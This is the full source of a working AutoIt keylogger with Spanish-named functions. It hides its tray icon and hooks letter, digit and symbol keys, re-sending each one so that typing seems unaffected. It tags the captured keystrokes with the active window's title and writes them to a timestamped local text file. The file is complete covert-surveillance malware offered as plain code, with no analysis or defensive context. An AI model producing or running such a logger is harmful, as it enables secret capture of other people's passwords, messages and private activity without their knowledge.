#NoTrayIcon
#include <Date.au3>

$Filename = StringReplace(StringReplace(_now(),"/",""),":",".")
$Filename = stringreplace($Filename," ","_")
global $flag = false
global $wintitle = ventanactiva()
global $buffer = "[ " & $wintitle & " ]"

Do
HotKeySet("^!q", "exitlogger")
local $arraykeys[104] = [" ","a","b","c","d","e","f","g","h","i","j","k","l","m","n","ñ","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","Ñ","O","P","Q","R","S","T","U","V","W","X","Y","Z","0","1","2","3","4","5","6","7","8","9","ª","º","\","!","|","@","·","#","$","%","&","¬","/","(",")","=","'","?","¡","¿","ç","}","<",">",",",";",".",":","-","_","´","{","¨","^","`","[","+","*","]"]
local $i
for $i = 0 to 103
 HotKeySet($arraykeys[$i],"logea")
Next
until $flag = True

Func logea()
HotKeySet(@HotKeyPressed)
local $key = @HotKeyPressed
Send(@HotKeyPressed)

if $wintitle <> ventanactiva() Then
 $wintitle = ventanactiva()
 $buffer = $buffer & @CRLF & "[ " & $wintitle & " ]" & @CRLF & $key
Else
 $buffer = $buffer & $key
EndIf

If StringLen($buffer) >= 200 Then
 escribelog()
 $buffer = ""
Endif
EndFunc

Func exitlogger()
 escribelog()
 $flag = true
EndFunc

Func escribelog()
 $file = FileOpen($Filename & ".txt", 1)
 If $file = -1 Then
 Exit
 EndIf
 FileWrite($file, $buffer)
 FileClose($file)
EndFunc

Func ventanactiva()
global $windows = WinList()
 For $i = 1 to $windows[0][0]
 If $windows[$i][0] <> "" AND Activa($windows[$i][1]) Then
 Return $windows[$i][0]
 EndIf
Next
EndFunc

Func Activa($handle)
 If BitAnd(WinGetState($handle), 8) Then
 Return True
 Else
 Return False
 EndIf
EndFunc

Func OnAutoItExit ( )
 escribelog()
EndFunc